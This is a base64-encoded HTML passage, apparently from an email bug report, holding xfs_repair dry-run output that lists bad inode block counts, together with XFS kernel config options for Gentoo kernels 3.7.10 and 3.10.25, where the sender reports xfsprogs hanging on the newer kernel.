NTg1IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODYzMDk1Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODYzMDk1PC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTQ1NzwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5leHRlbnRzIDIzNSBmb3IgaW5v ZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjg2MzA5NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg2MzA5NTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDIzNDwvZm9udD48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNDMzIGZvciBpbm9kZSA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2ODY4NjkxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2ODY4NjkxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiwgd291bGQgcmVzZXQgdG8gNDIzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5iYWQgbmV4dGVudHMgMjA2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 ODY4NjkxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 ODY4NjkxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gMjA1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAyNzIxIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODcwODAxIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODcwODAxPC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjcy MDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTAy NSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjg3MDkwMCI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg3MDkwMDwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDEwMTU8L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDIzNzEgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4NzEzMTEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4NzEzMTE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyNDAyPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA1NDcgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY4NzM5OTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY4NzM5OTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA1NjE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDMwNzEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4 NzY0NDEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4 NzY0NDE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCBy ZXNldCB0byAzMDczPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAyNyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjg3NjU4MiI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg3NjU4MjwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI2PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMiBmb3Ig aW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjg4OTM1NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg4OTM1NDwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMzPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA2ODIgZm9yIGlub2RlIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY4OTYxNzEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY4OTYxNzE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCB3b3VsZCByZXNldCB0byA2ODk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDE2MTcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY4OTY3OTIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY4OTY3OTI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3Vs ZCByZXNldCB0byAxNjE4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAyNDQgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MDYzNzAiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MDYzNzA8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAy NTc8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDI0 MTcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MTEzNjgiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MTEzNjg8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyNDE2PC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA5NTAgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MTI2ODIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MTI2ODI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA5NDk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDIzNTAgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5MjMwNzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5MjMwNzI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byAyMzU0PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5iYWQgbmJsb2NrcyAxMDE2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 OTIzNTQ5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 OTIzNTQ5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gMTAyNTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFk IG1hZ2ljICMgMHgyMDMxMzAzMCBpbiBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTI3NzIx Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTI3NzIx PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyhkYXRhIGZv cmspIGJtYnQgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA1NTM0Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDU1MzQ8L3U+PC9mb250PjwvYT48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIGRhdGEgZm9yayBpbiBpbm9kZSA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTI3NzIxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2OTI3NzIxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPndvdWxkIGhhdmUgY2xlYXJlZCBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2OTI3NzIxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2OTI3NzIxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDI0MSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjkz ODM2MyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkz ODM2MzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJl c2V0IHRvIDI0MDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5i bG9ja3MgMjg5IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQwNDAwIj48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQwNDAwPC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjU3PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgMzIgZm9y IGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDA0MDAiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDA0MDA8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMTwvZm9udD48YnI+DQo8Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTA2IGZvciBpbm9kZSA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjE2OTQyMTIyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjE2OTQyMTIyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTEzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5iYWQgbmJsb2NrcyAxMDUzIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2OTQ2NDA1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2OTQ2NDA1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291 bGQgcmVzZXQgdG8gMTA1NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ YmFkIG5ibG9ja3MgNjgxIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ4Nzc2Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ4Nzc2PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8g Njg5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA1 NjIgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDkwMTEiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDkwMTE8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA1NjE8L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuZXh0ZW50cyAyMDAgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDkwMTEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDkwMTE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAxOTk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDE0MiBmb3IgaW5vZGUgPC9mb250PjxhIGhy ZWY9InRlbDoxNjk1NzI5NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjk1NzI5NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4sIHdvdWxkIHJlc2V0IHRvIDE0NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgNTEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NjAz NjIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NjAz NjI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byA2NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9j a3MgODk4IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTY3MDcyIj48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTY3MDcyPC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTEzPC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzNTQgZm9yIGlu b2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NzI1MTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NzI1MTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzNjk8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDUwOCBmb3IgaW5vZGUgPC9mb250Pjxh IGhyZWY9InRlbDoxNjk4MTAyMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjk4MTAyMzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4sIHdvdWxkIHJlc2V0IHRvIDUxMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+YmFkIG5ibG9ja3MgMjE2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 OTgzMjcxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 OTgzMjcxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gMjI1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyA4MyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk4MzI4MCI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4MzI4MDwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDk3PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA0MjIgZm9y IGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODcwNDkiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODcwNDk8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA0MzM8L2ZvbnQ+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDEwNTYgZm9yIGlub2RlIDwvZm9u dD48YSBocmVmPSJ0ZWw6MTY5OTAzMDYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+MTY5OTAzMDY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAxMDU4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAxODAgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY5OTI2ODciPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY5OTI2ODc8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3 b3VsZCByZXNldCB0byAxOTM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmJhZCBuYmxvY2tzIDM5IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTk1MjM5Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTk1MjM5PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8g NDk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMw ODUgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDkxPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzOTAgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMDA2NDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMDA2NDA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA0MDE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDEzNDUgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTcwMDQ4MjQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTcwMDQ4MjQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byAxMzQ2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5iYWQgbmJsb2NrcyAyMSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNzAw NTYyMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAw NTYyMTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJl c2V0IHRvIDMzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyAyMzIwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDE5MTExIj48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDE5MTExPC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjMyMzwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Tm8gbW9kaWZ5IGZsYWcgc2V0 LCBza2lwcGluZyBwaGFzZSA1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5QaGFzZSA2IC0gY2hlY2sgaW5vZGUgY29ubmVjdGl2aXR5Li4uPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIHRyYXZl cnNpbmcgZmlsZXN5c3RlbSAuLi48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmVudHJ5ICZxdW90OzEwLjYuMTE0LjE0OCZxdW90OyBpbiBkaXJlY3RvcnkgaW5vZGUgMTkx MjUgcG9pbnRzIHRvIGZyZWUgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjkyNzcyMSI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyNzcyMTwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIGp1bmsgZW50cnk8 L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5i c3A7ICZuYnNwOy0gdHJhdmVyc2FsIGZpbmlzaGVkIC4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBtb3ZpbmcgZGlz Y29ubmVjdGVkIGlub2RlcyB0byBsb3N0K2ZvdW5kIC4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+UGhhc2UgNyAtIHZlcmlmeSBsaW5rIGNvdW50cy4uLjwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Tm8gbW9kaWZ5IGZsYWcgc2V0LCBza2lw cGluZyBmaWxlc3lzdGVtIGZsdXNoIGFuZCBleGl0aW5nLjwvZm9udD48YnI+DQo8YnI+DQo8Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+eGZzcHJvZ3MgdXRpbCYjODIxNztzIHdvcmtzIGZpbmUg d2l0aCBrZXJuZWwgMy43LjEwIChjb25maWcga2VybmVsIHBhcmFtcyBsaXN0IGJlbG93KTo8L2Zv bnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPi91c3Ivc3JjL2xpbnV4LTMuNy4x MC1nZW50b28vLmNvbmZpZzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Q09ORklHX1hGU19GUz15PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5D T05GSUdfWEZTX1FVT1RBPXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PkNPTkZJR19YRlNfUE9TSVhfQUNMPXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPkNPTkZJR19YRlNfUlQ9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+IyBDT05GSUdfWEZTX0RFQlVHIGlzIG5vdCBzZXQ8L2ZvbnQ+PGJyPg0KPGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPnhmc3Byb2dzIHV0aWwmIzgyMTc7cyBoYW5ncyBpbiBz dGFydCB3aXRoIGtlcm5lbCAzLjEwLjI1IChjb25maWcga2VybmVsIHBhcmFtcyBsaXN0IGJlbG93 KTogPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4vdXNyL3NyYy9saW51 eC0zLjEwLjI1LWdlbnRvby8uY29uZmlnPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5DT05GSUdfWEZTX0ZTPXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPkNPTkZJR19YRlNfUVVPVEE9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+Q09ORklHX1hGU19QT1NJWF9BQ0w9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+Q09ORklHX1hGU19SVD15PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5DT05GSUdfWEZTX0RFQlVHPXk8L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQg 